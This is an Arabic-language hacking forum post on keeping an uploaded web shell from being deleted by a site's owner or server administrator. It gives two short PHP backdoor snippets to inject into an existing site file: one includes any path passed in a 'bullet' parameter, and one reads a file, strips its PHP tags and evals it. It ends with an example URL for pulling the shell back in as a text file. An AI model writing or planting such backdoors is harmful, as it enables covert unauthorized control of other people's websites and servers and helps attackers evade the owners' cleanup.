السلام عليكم ورحمة الله وبركاته ..


ندخل في الموضوع :


أحيانا يتم رفع الشل ولكن تجيه ثاني يوم تحصله محذوف سواء من صاحب الموقع أو صاحب السيرفر


ايش الحل ؟؟؟ نبي نرفع شل ونضمن بقاءه أطول فترة ممكنة بدون لفت نظر صاحب الموقع أو السيرفر..


الحل هو :


حقن كود بأحد ملفات الموقع [ ملاحظة : أنا قلت حقن مو تحذف كود الملف يعني مجرد اضافة للكود ]


هذا الكود معروف وهو يسبب ثغرة فايل انكلود للسيرفر ... بعد كذا تقوم بسحب الشل بصيغة txt


وهذا شي واضح للكل ...


للاصدار الرابع php 4


كود PHP:


<?php 

$RxH 
$_GET['bullet'];

 include (
$RxH);


?>
للاصدار الخامس php 5





كود PHP:
<?php
 
if($_GET[bullet])

$file=implode("\n",file($_GET[bullet])); 

$bullet=str_replace("<?php""",$file); 

$bullet=str_replace("<?""",$bullet); 

$bullet=str_replace("?>""",$bullet); 

eval(
$bullet); }

?>
ملاحظة تأكد أولا من اصدار php واستعمل الكود المناسب ...


بالنسبة للاصدار الخامس نفرض وضعنا الكود في ملف وليكن اسمه billi.php


طريقة السحب كالتالي :


كود PHP:
www.site.com/sad.php?bullet=billi.txt



اتمنى تكون الطريقة هذى مفيدة لحل لمشاكل حذف الشل ...